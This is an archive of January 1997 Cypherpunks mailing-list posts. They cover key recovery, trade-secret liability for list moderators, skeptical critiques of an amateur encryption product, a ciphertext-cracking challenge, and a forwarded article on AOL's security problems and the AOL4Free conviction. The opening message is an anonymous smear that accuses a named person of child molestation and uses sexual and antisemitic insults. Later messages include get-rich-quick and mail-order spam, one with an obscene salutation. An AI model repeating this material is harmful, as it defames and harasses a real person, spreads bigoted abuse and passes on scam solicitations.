Subject: Re: [ADMINISTRATIVIUM] Sphere packings
Message-ID: <199701090045.BAA16153@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Maypole the self-admitted child molester 
possesses a rudimentary dick less than one 
inch long, half the size of his mother's 
clitoris, that barely makes a fistful. Thereby 
hangs the root of this Jew-hating sissy's sick 
fixation on little boys and Usenet forgeries.

       <<<<
      o(0-0)o
   -ooO-(_) Ooo-- Timmy Maypole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KOO HOE-JUN <kooom@aminet.co.kr>
Date: Wed, 8 Jan 1997 08:55:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: add me
Message-ID: <32D3D09A.247@aminet.co.kr>
MIME-Version: 1.0
Content-Type: text/plain


I'm interestin
mail list me too
e-mail:kooom@aminet.co.kr




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 8 Jan 1997 22:53:09 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Trade secret liabilty  [Was Re: Sandy and I will]
Message-ID: <Pine.SUN.3.95.970109015336.25229O-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


a reliable friend wrote to me to say ...

<quote>
The Uniform Trade Secrets Act (which has been adopted by a
majority of jurisdiction) provides for liability of a third party who
knows or has reason to know that information he recieves or discloses
was acquired by improper means or under circumstances giving rise to
a fiduciary duty OR that he knows to be proprietary but which he
recieved by accident or mistake.  Depending on the facts, the
language could encompass a moderator who knew about or turned a blind
eye to distribution of trade secrets on his list.
</quote>


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 9 Jan 1997 00:26:17 -0800 (PST)
To: spanky@europa.com
Subject: Re: About ICF(International Cryptography Framework)
In-Reply-To: <32D2E95B.614E@europa.com>
Message-ID: <32D4C827.4FA4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Pass me another! wrote:
> Okay...explain a done deal...

  A 'done deal' is where the Big Boys make all the decisions for the
rest of us, divide up the pie, and live happily ever after.
  (Unless, of course, somebody decides their piece of the pie isn't
big enough and they all start stabbing each other in the back.)

>  I thought that at
> one point the clipper chip was a done deal, but once it met the public
> eye, we blinked and rubbed that speck of dirt out....or so we thought.
> Where is our voice?  Does it no longer even exist????

  Sure it does. We get to say "Yes." and "How wonderful" as the Big Boys
slip us the cold, hard one from behind.
 
> > > I've also managed to get a hold of Ray Bamford
> > > (ray_bamford@hp.com)at HP
> > > who seems to have some PR role in this wool over the eyes attempt.
> >
> >   When you use the word 'censorship', does he counter-attack with the
> > word 'moderation'?
> 
> Geeeeee....how'd you guess?....Man these bootlickers make me sick.
> What's worse is some of these cronies I actually used to work with on a
> daily basis...but alas....because I was not bootlicker quality, I could
> no longer stay with the company I was working for.....Not Microsoft, not
> HP, not IBM...but damn those DAMNED chipmakers....

 The problem is that, once you're done licking their boots, they want
you
to set your sights a little higher.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Wed, 8 Jan 1997 23:31:16 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: New Release: Universal Data Cryptography Module V2.0
In-Reply-To: <970108211056_1622671474@emout11.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970109022616.10573J-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997 DataETRsch@aol.com wrote:

> Integrated Mathematical Data Manipulation and Positioning. Extensive research
> shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.

What research?
What is "extensive?"
What is "more advanced?"

> 
> UDCM (the IMDMP algorithm)...

> o Is more advanced than all of the industry standard encryption algorithms.

By who's standard?

> o Allows encryption keys as large as 256 bytes (2048 bits).

As if these directly correlate.

> o Includes 18 sub-algorithms.

The purpose of which is...?

> o Allows multiple encryption layer levels.

What encryption doesn't?

> o Has absolutely no back-doors or magical keys.

Says who?

> o Processes files as large as 2,147,483,390 bytes.

Why is there a limit?

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Thu, 9 Jan 1997 00:55:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Aeon Flux
Message-ID: <199701090855.DAA17797@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


-






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 9 Jan 1997 02:08:57 -0800 (PST)
To: "Eric Verheul" <everheul@mail.rijnhaave.nl>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <199701090741.IAA28828@mail.rijnhaave.nl>
Message-ID: <199701091007.EAA05240@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701090741.IAA28828@mail.rijnhaave.nl>, on 01/09/97 at 05:03 AM,
   "Eric Verheul" <everheul@mail.rijnhaave.nl> said:


>>   To me, Key Recovery cryptography is like using a condom with a
>> hole in it. No thanks.

>Actually, on microscopical level *all* condoms have holes in them; 
>the holes are just small enough for you not to worry bout it. The same 
>applies to (good!) Key Recovery cryptography: there are holes but not 
>big enough for you to worry about!

You are joking right??

Well I guess I will not need to worry about them since I will never run any GAK software
reguardless how may laws the jackboots in DC pass.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If Windows sucked it would be good for something.

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Version: 2.6.2

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brhNZV9ziBJkBSPOx4dZYnMTh9AqEZp2TOQ/vm6MVWFEFyVq8Y9f+9oAnfs+2iJF
R4HBGDmUQ6g=
=jMcQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jccsendto4@juno.com
Date: Thu, 9 Jan 1997 04:22:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: FREEEEEE!!!!!!
Message-ID: <199701091222.EAA06698@dfw-ix12.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


While you are reading this I'll have made MORE MONEY!!!     Can you say the same thing?   If NOT....
DO NOT HIT REPLY.....just follow these three simple steps;

                              ....type in address to   jcc@mlweb.com
                              ....type in subject      FREE
                              ....type in body         MONEY
                              

You will receive via e-mail a comprehensive,dynamic FREE plan on how YOU can be doing the same thing!

It really does work, I'm proof it does.	

No, I'm not a company or organization, I'm someone like you...Everyday hard worker who has come across a plan that puts CASH in my mailbox almost every day!

Read it at your leisure after receiving and printing your FREE copy and then DO IT!!

You'll be glad you did!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dans@pleaseread.com
Date: Thu, 9 Jan 1997 02:27:15 -0800 (PST)
Subject: Free Samples, Software, and MoreI would like to invite you, as an internet user, to be part of a marketing test where you can get FREE software, FREE Samples, and FREE computer related money making offers from manufacturers nationwide. You may be asked to give your opinion, but there is no obligation.
Message-ID: <199701091007.FAA11268@emin06.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


even if you had their addresses!  
	If do not want to get anymore e-mail reports like this, please send email to dans@pleaseread.com  with the word "REMOVE" in the subject or the body.
   		-Lisa
   
  
  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Deviant <deviant@pooh-corner.com>
Date: Wed, 8 Jan 1997 21:16:49 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: encryption program
In-Reply-To: <199701090132.TAA28002@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970109050923.2428A-100000@random.sp.org>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 8 Jan 1997, Igor Chudov @ home wrote:

> Pierre -- 
> 
> Thanks for inventing an interesting encryption method. There is a
> mailing list for people interested in encryption, cypherpunks@toad.com,
> and they may be interested in trying to "break" your program. If we
> all cannot manage to break your program, you will have another assurance
> that your algorithm is correct.
> 
> Remember that in order to be a really useful product, crackers and
> hackers should not be able to break it EVEN IF THEY KNOW HOW IT WORKS. 
> 
> So, your explanations on how it actually works will be very helpful for
> all of us.
> 
> Cypherpunks, why don't we try to crack his encryption program? It seems
> like a fun exercise.
> 
> Below is his "encrypted" file from the link above. Let's see if anyone
> comes up with an idea to crack it!
> 
> 	- Igor.
> 
> ##> To help you:
> ##> - Only letters a..z and A..Z is encrypted.
> ##> - The first line decrypted reads:
> ##>  
> ##>  Here follows a example of the encryption program.  This text file was taken 
> ##>  
> ##> START:
> ##>  Dqma vkbcjtp z kggequp ix dvu noqwjzevfi lfkizgv.  Iquy aiay ifom gib knmdk 
> ##>  uwwt fhw wshg toaqyt cics.

Well, call it a hunch, but i'd say the first line of cyphertext is "Here
follows a example of the encryption program.  This text file was taken"

Why do i get the feeling whoever did this wasn't very bright?

It is, however, important to note that this isn't just simple
substitution, as shown in the word 'Here', where the cyphertext version is
not 3 characters with 1 repeating.

> ##>  
> ##>  Tjtj zbtp aufnapih f 100% MEM zmdlekbbii nvuivdpl cajzqqob gqet
> ##>  4DA kp hhtwan xzn s BED qxub. Jydi vfnpxtu zm GDL gpru kn rf faids
> ##>  vfhjdru 3.0 wa ynmbp.
> ##> 
> ##>  Zvu jxmx jpok wc nro xuevs PBM txu EPU gsfrc MXISCSX!
> ##> 
> ##>  Bmph zeuixzr kxv kqrv kcvpeb gwc uoct yjtsx eqr blc onmf jtnrbln fikacz
> ##>  fmekhow eytbeo cvw mpxoefb jk iyn itaqbdvkv kp cszegabp rul ttisadar
> ##>  nfldckfypzzt ixso galyx icro AI's wsdnk tgj sw ilmgzusr xblo st bjqix
> ##>  qvb ipcfaaqn lntf hxb. Pwic cg j ppac dl git rpxz jrrvyv grrbigqa eooi
> ##>  fsv nlpav.
> ##> 
> ##>  Ix qdcnmgwp nkrwvzwgq rmcl gny pqh afrnpdlmz bh quau NPJEOZ VDAD jcn
> ##>  bp kdps nq bxfjtx ut vkbf gqcx n Gnvpma Mxmw Isr (rhrmozm ry YCMWCEBR'z
> ##>  qxnhmacph).
> ##> 
> ##>  Kmmnx QAQDEV FVSW na g ugb jgvnus czrq, kzj btj skrupti dju lubxzfnob ivw
> ##>  tjd mltlcxm mzfg viynif oerx (rcf texryuhgvhh lz iyn gra mv pxxn sllxtpfu).
> ##> 
> ##> 
> ##>  VPGJBN JNHZYQG AGFAHQHX
> ##>  -----------------------
> ##> 
> ##>   Y. Fnbw U seilzzg wjq nwcc wae jwwmdob mbgkt rn xsir dplrf tj dqzclpvdaasi
> ##>      dnlsmw jn uxqd v DBAGD DBEIM 9874.
> ##>   V. Iyet bwxncnd mdeqmzpb 4XK bg pintxz wt aev.
> ##> 
> ##>      Yb bkr wsdx fhnm gclpwg, cap qoztki hdhrcp bbba ffsrk mm cjsm FFEXCA.TDZ
> ##>      kalm gytd gutndaq dpnk hdzkwg fnbw git kprvtwma ccerw.
> ##> 
> ##>      Pbg qpypmjf EJMDLJ.WKN prbthucy hxzb tbcmsfs iyn bsfijsyey hdokz:
> ##> 
> ##>       KALMF=20
> ##>       ZPKQUST=20
> ##> 
> ##>      Z ixyh ZFIYVZ.XGA crxg ckqm wam wjq nwcc qjt QMUSAXH dsi ei:
> ##> 
> ##>       bnztza=orhco.ipo
> ##>       zodpxw=agj386.imu tnqgq
> ##>       ckj=vbzb,vpm
> ##>       nnclpln= 30
> ##>       kwcnt= 20
> ##> 
> ##>      Stgrgwi, oavo JWVLSN.FEZ chqr jbzbr cxc gujg yw cgn heisgs. Cn
> ##>      vozmwxlmi kjdqk bnu 2 azha KDEIFF.NWN zs rjq bzyo g llyj gttvzon.
> ##> 
> ##> 
> ##>      QDUV LDLM HCASS SXXZHZTX XMEKKW LYA ESVCPNSUUY.
> ##> 
> ##> 
> ##>  ENFB NSPUY AAMHQYA, AFSCRKZ PAENMAC UG ZY RKJU
> ##>  ----------------------------------------------
> ##> 
> ##>  L.  Sxyi C pubyb mhm qshw wl "hpqob" iniym puy qkabanp "GP YPZTV NJPZ
> ##>      OTTFGQGK".
> ##>  V.  Eoih zm ozqlqrwfw i pkrimcnk fefewlm cubtrfno. Wjq gijbvgoh mgwm
> ##>      a hcdlgsg qdag ivkz utbwkab 360r xzn amiwn fv d tyvskkgq qmbn
> ##>      fhw LIPMXKRREOAB NH ejtg. Ahfvmu ixb llujnrw jz tkli idqyryr xobs.
> ##> 
> ##>  K.  Smre E sgs cos sphd vp "pwssh" ec.
> ##>  R.  Ami rurw pxwufm hurmha zm utzm tqi :-
> ##> 
> ##> END.
> ##> 
> ##> ** NOTE that this is really a letters with meaning to the right program it 
> ##> is NOT just a bunch of letters typed by myself.
> 
> > If you think this program can be used please reply to this letter and I 
> > will give you more information.
> > 
> > **PLEASE reply via e-mail ---> <a 
> > href="mailto:jvrooyen@liasec.infolink.co.za">CLICK HERE</a> to reply now.
> > 
> > Hope to hear from you soon.
> > 
> > Regards
> > Pierre van Rooyen
> > 
> 
> 
> 
> 	- Igor.
> 
> 

 --Deviant
   PGP KeyID = E820F015 Fingerprint = 3D6AAB628E3DFAA9 F7D35736ABC56D39

A Linux machine!  Because a 486 is a terrible thing to waste!
		-- Joe Sloan (jjs@wintermute.ucr.edu)


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMtR+yTCdEh3oIPAVAQEyHQf9EyGDQj5fDhJmEeGSc6iEgoX6MX88ugCu
zT0bwXzji79VLqgjEUcjvf/7A09dwgqdO2moCewmm1rnvgHq6eD/LwEIlx4t04fi
6+Qaz5T4GhkEvO81kJ3j0S2J5w9MirwmWeaoWeNu0nBkpH4iyw8FjF1rF9jwRw6A
pY6+wrEVxfRINgBlgko5Yr9gQGOuUIP4GaQQ/FJx2J86z9fwDIYcUfOT0Qt2ru2c
aZniCP6/YW83YKQftES/Z7chnYhknrxMeuN9aO6F7LbXu1j+4qR28AAvgl/dJQHn
oO4ZfTpDjKIbS2toLBnmtFyLJShpimDd6ocN3Re4Vmzr31eN3bR72Q==
=Ktmj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SECRET AGENT 66 <JOABJ@delphi.com>
Date: Thu, 9 Jan 1997 03:55:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: AOL: The Happy Hacker
Message-ID: <01IDZZM7GVCY8X073K@delphi.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"destiny@crl.com"  "David Cassel"  9-JAN-1997 05:27:47.48
To:	IN%"aol-list@cloud9.net"  "The AOL List"
CC:	
Subj:	The AOL List: The Happy Hacker

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Date: Thu, 09 Jan 1997 01:32:39 -0800 (PST)
From: David Cassel <destiny@crl.com>
Subject: The AOL List: The Happy Hacker
Sender: owner-aol-list@cloud9.net
To: The AOL List <aol-list@cloud9.net>
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		       T h e   H a p p y   H a c k e r

~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~ 

In 1995 a hacker named Happy Hardcore wrote a program that granted
unlimited free access to AOL.  Yesterday AOL issued a press release
applauding his conviction in a court in Virginia. 
(http://www.prnewswire.com/pdata/19970108-DCW022.html)

According to press accounts, Nicholas Ryan -- who studies computer science
at Yale university -- was found guilty of a felony offense under the
Computer Fraud and Abuse Act:  he illegally accessed AOL "and violated
AOL's terms of service". 

But AOL's press release doesn't tell the whole story.  The Washington Post
reported that in fact, AOL dropped over 370,000 subscribers between March
and June of 1996 "for credit card fraud, hacking, etc."  [9/16/96] Up
until September of 1995, AOL didn't even verify the authenticity of credit
card information submitted for free-trial accounts.  (And as of last year,
they'd distributed over 100 million of them.) Monday AOL shut local phone
access to the entire nation of Russia because it couldn't collect enough
accurate information to cover their expenses. 

Ryan was targeted because he created a program used by other hackers--and
because he publicly taunted AOL in the program's documentation.  He
included internal AOL e-mail (stolen by other hackers) discussing the
company's plans to thwart his program.  Ryan wasn't charged with creating
the program, but for accessing the system illegally--a crime he shared
with nearly half a million others. 

For six months of access, he faces a maximum of five years in prison and
$250,000 in fines.  Under AOL's new value plan, the stolen time would have
a cash value of $60. 

AOL's public statements indicate they want to appear tough on hackers --
especially now that they're seeking revenue from on-line transactions.  A
press release announcing the appointment of a vice president to AOL's
optimistically-named "Integrity Assurance" division stressed her previous
employment at the CIA--saying Tatiana Gau wants to "improve the world's
most secure online environment".  (The phrase "most secure"  appeared
three times.) Yesterday's announcement even asserted AOL had achieved "the
first successful computer fraud prosecution involving an Internet online
network."  (One technology correspondent quipped, "Maybe it means that
Kevin Mitnick is just a figment of Tsutomu Shimomoura's imagination.")
AOL's announcement went so far as to claim that AOL is safer than the
internet because AOL uses a private network. 

But safety still depends on how a network is administered.  In 1995, a
beta of AOL's telnet client put users directly behind their firewalls--and
earlier that year, AOL's mail server was accessible via telnet, allowing
forged mail from any AOL address. Hackers even took the stage during a
1995 celebrity appearance on AOL--then taunted the scheduled guest and the
event sponsors.  (http://www.aolsucks.org/security/recondite.html). "I am
sure Corporate Communications will be getting some questions about it,"
read an internal e-mail titled "Hacker Attack In the Rotunda Last Night". 
Ironically, that message later ended up on the AOL Security Page--"What
AOL Does Not Tell You."  http://www.netvirtual.com/blank/aol)

The next month AOL's CEO Steve Case wrote a letter to all users about
hacker problems, arguing that "it happens everywhere", and adding that
"when we discover hackers", AOL "aggressively take measures to head them
off".  But within days of that announcement, hackers were posting internal
mail that they'd stolen to the internet. They continued undaunted, posting
internal memos, and even Case's home address. In probably the most
embarrassing development, in-house mail ABOUT the hackers was being
circulated BY The hackers (ftp://ftp.crl.com/users/de/destiny/aol/hacker1) 
At the time, AOL spokeswoman Pam McGraw told me, "We've encountered these
problems in the past, and we make changes to the service as appropriate--
and as we can". 

The hackers had reverse-engineered AOL's "Rainman" software, which had
been mistakenly stored in AOL file libraries accessible by their hundreds
of remote staffers.  The company fumbled for an explanation--Pam McGraw
told the press AOL believed the heist was effected with the Visual Basic
macro program AOHell.  (Some later attributed her remarks to a deliberate
disinformation campaign--especially when, to suppress the program's
distribution, AOL later told Boardwatch magazine AOHell contained built-in
child pornography. ftp://ftp.boardwatch.com/aohell.txt)

But AOL's attempts to cover-up security breaches left their members even
more vulnerable. "I went to a bunch of new member chat rooms, used AOHell
to fish for passwords, and got 25 of them," one Usenet poster gloated. 
"Doesn't AOL tell its users to not do that?"  There were worse abuses. 
When AOL realized hackers could "sniff" passwords during TCP/IP
connections, staffers say they were warned--but not the customers.  "I
hope that AOL alerts the General Membership to this problem in a timely
manner," one staffer complained, "and not, as in the previous situation,
wait until they are forced to by negative news coverage."  Sources had
told the Wall Street Journal that the 1995 security breach included
hackers distributing customer credit card numbers in AOL hacker chat
rooms, and AOL had warned staffers about the breach--but didn't tell their
users (until the story broke in nationwide news reports.) 

The staffers complained AOL's hush-hush policy was aimed more at
protecting their image than protecting their customers.  In a memo warning
staffers not to speak to the press, Steve Case countered that "We need
everyone's support...to protect AOL's interest". That even applied AOL's
content providers.  Shortly before hackers took the stage at his live
event, the producer of AOL's MacWorld area asked AOL about earlier
problems.  He told me AOL had attributed them to "some security holes that
AOL promised were closed." 

It was when hackers took the stage that he found they were not. 

Even AOL's latest statements are suspect.  The press release claims that
AOL "immediately upgraded its security measures to prevent AOL4FREE or any
similar software from working".  But Nicholas Ryan told a different story. 
"AOL found a way to detect users of AOL4Free," began the program's
documentation.  "However, with only a few lines of additional code
AOL4Free is again undetectable!" 

Tatiana Gau's claims that AOL has a "zero tolerance" policy for hackers is
patently implausible.  Macromedia's software piracy suit fingered 67
screen names in 1995.  And over 70 came into play for the "Hacker Riot"
that November--a coordinated attack on the New Member Lounges
(http://www.getnet.com/~onion/work/planetmag/current/features/aolside.html)
lasting several hours and affecting hundreds of users.  This August AOL's
Chief Financial Officer even pointed to the fake accounts as a possible
culprit for the high figures on their subscriber churn rate.  And just six
weeks ago hackers doctored text at AOL keyword: legal. 
(http://www.news.com/News/Item/0,4,5712,00.html).  Even yesterday,
aolsucks.org received the comment, "AOL SUX!!!!!  Thats why I make fake
accounts with them!!!" 

Ironically, the documentation for AOL4Free ends with the classic hacker
manifesto "The Conscience of a Hacker."  The 1986 document ends, "I am a
criminal.  My crime is that of curiosity..."  

And most technology pundits agree.  AOL's MacWorld area was mailbombed for
a week and a half, with dozens of junk posts to its bulletin boards.  "We
hate that," their producer told me.  "Does that mean the FBI needs to be
brought in?  Probably not."  Chris Flores of Microsoft's Developer
Division agreed.  "If a Visual Basic program can automate hitting this key
and hitting that key, the blame should be on AOL for allowing a certain
keystroke to be hit...  They should think of AOHell as a blessing.  Since
they know about it, they know that they have a fault in their system." 
MacWorld's producer added, "You've got to admire the hacker ethic in a
certain way, because it's how things get done...how holes get patched." 

Indeed, as a result of the hacker presence, AOL began accompanying all
e-mail and instant messages with a warning in red letters--that AOL staff
will never ask you for your password.  One Florida resident with a degree
in criminology pointed out on Usenet that this alone wouldn't be
sufficient--because password-fishers were incorporating the warnings into
their scams!  ("Enter your password to confirm that you understand the
warning below."  "Enter your password now to turn on pass-block, which
offers protection beyond the simple password warning given below.")

Now AOL's 3.0 software requires users to download small software changes
before they can access the system.  Unfortunately, there's no way to opt
out--which creates a major security hole waiting to backfire. 

In any case, the hacker presence belies AOL's claims of the "highest level
of security".  In fact, Wired News reported that "Gau is confident, but
she knows she has her work cut out for her.  She's already spotted a link
on the Web announcing her arrival. It was titled 'Hackers are laughing.'". 


It was my page. 



THE LAST LAUGH

Within days of its creations, AOL threatened the AOL Security page with
charges of copyright infringement. 

Unfortunately, the tactic inspired three other sites to mirror the
documents--which are still there to this day.


        David Cassel
        More Information - http://www.wco.com/~destiny/time.htm


~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~
 Please forward with subscription information and headers in-tact.

 To subscribe to this moderated list, send a message to MAJORDOMO@CLOUD9.NET
 containing the phrase SUBSCRIBE AOL-LIST in the message body. To unsubscribe
 send a message saying UNSUBSCRIBE AOL-LIST to MAJORDOMO@CLOUD9.NET
~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Thu, 9 Jan 1997 05:34:31 -0800 (PST)
To: unicorn@schloss.li (Black Unicorn)
Subject: Re: New Release: Universal Data Cryptography Module V2.0
In-Reply-To: <Pine.SUN.3.94.970109022616.10573J-100000@polaris>
Message-ID: <970109.064711.6l4.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, unicorn@schloss.li writes:

> On Wed, 8 Jan 1997 DataETRsch@aol.com wrote:

>> o Processes files as large as 2,147,483,390 bytes.
>
> Why is there a limit?

It's an MS-DOS limit.  The filesystem only can store a file 2^31 bytes
long, because the it stores the file size as a 32 bit signed integer.
What's interesting is that his stated limit is 258 bytes less than the
maximum file size, and his stated maximum key size is 256 bytes.  Makes
a guy wonder just what's in that 258 byte header.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtTpnxvikii9febJAQEdSAQAk0CuiCdpEojlZ9qguUbDQbpafAqnmQIO
CGuhAyDu/xQEk116lOsEtBjIYmqnxxsJ0ie1n7XB1dnJOs4oZ78wNvwvWq+5uUnw
huOygZ3anmd7WjGBtNn+Kwtr24GaSHqdR0MnDQtBpZJazInl9lajLbC4K2a3Pegn
P6js+VMS2NU=
=uCp6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 04:30:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <32D4909E.927@gte.net>
Message-ID: <yHJ0ZD39w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Toto <toto@sk.sympatico.ca> writes:
> > Dale Thorn wrote:
> > > The Wall Street Cabal (as they say) was genuinely frightened that since
> > > Milken was so successful with high-yield bonds, they deliberately created
> > > the term Junk Bonds and flooded the markets with appropriate propaganda,
> > > and thereby killed off their competition.  How they turned it into a
> > > criminal offense is truly an art.
>
> > Is this anything similar to, say, calling certain posts by list
> > members 'spam', flooding the list with 'external' spam, and then
> > using the resulting uproar to take care of perceived 'internal' problems?
>
> The old "create the provocation then step in with the solution" trick?
>
> It must have been the Final Provocation, since we're about to get the
> Final Solution.

Look, the Reichstag is on fire!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 9 Jan 1997 04:21:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Esnoop Corrections
Message-ID: <1.5.4.32.19970109121644.006793f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


RH helpfully noted errors in a few URLs in the 
"Electronic Surveillance" doc which have been
corrected:

     http://jya.com/esnoop.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 9 Jan 1997 04:22:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Esnoop Corrections
Message-ID: <1.5.4.32.19970109121737.00695328@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


RH helpfully noted errors in a few URLs in the 
"Electronic Surveillance" doc which have been
corrected:

     http://jya.com/esnoop.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stephen Boursy <boursy@earthlink.net>
Date: Thu, 9 Jan 1997 04:25:05 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <VcP9ZD29w165w@bwalk.dm.com>
Message-ID: <32D4E3B1.2B54@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Dave Hayes <dave@kachina.jetcafe.org> writes:
> 
>> Black Unicorn writes:
>>
>> > More fear from Mr. Thorn that his own time in the spotlight might be
>> > drawing to a close.  God forbid his captive audience might vanish.
>>
>> Tell me, how can an audience be captive when they control the "delete"
>> key?
> 
> Not only that - the "captive" audience has announced time and again
> that they've killfiled me, Dale, aga, and anyone else who dares to
> say something they don't like. They already have the power to ignore
> anyone they don't want to listen to. They want to stop Dale from
> communicating with the _non-captive audience that chooses not to
> ignore him.
> 
> P.S. They lie about their killfiles, of course - Ray Arachelian,
> Paul Bradley, et al follow up on everything posted by the people
> they claim to have killfiled! Their follow-ups are obsessive and
> repetitive: "I've *plonked* you, so I have the last word, nyah
> nyah". And the next day they reply to the same people they claim
> to be ignoring.
> 

  Those who publically *plonk* always lie from my experiences--they
are dishonest people.  Most who publically killfile not only still
read you but they are already obsessed with you and follow your
every word--their sole goal (and this is the sad part about their
lives) is to try to prevent others from reading your words.

                           Steve

> > Dave Hayes - Altadena CA, USA - dave@jetcafe.org
> > Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet
> >
> > A voice whispered to me last night. It said: "There is no such thing
> > as a voice whispering in the night!"
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ubs95@earthlink.net
Date: Thu, 9 Jan 1997 07:27:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interested in making extra income?
Message-ID: <199701091527.HAA03723@latvia.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Suck_My_Big_Juicy_Cock,

Hello!

This is the only message you will recieve from us, so if you are not interested, we are sorry for the intrusion, just delete and we will not bother you again.

We need help in our mail order dept.  Would you like to be a catalog distrubutor?  Profits are very good!  For more information, DO NOT CLICK REPLY........

Send your inquirys to:   UBS95@IX.NETCOM.COM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 9 Jan 1997 07:38:29 -0800 (PST)
To: Eric Verheul <everheul@mail.rijnhaave.nl>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <199701090741.IAA28828@mail.rijnhaave.nl>
Message-ID: <32D50F11.77D1@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Eric Verheul wrote:
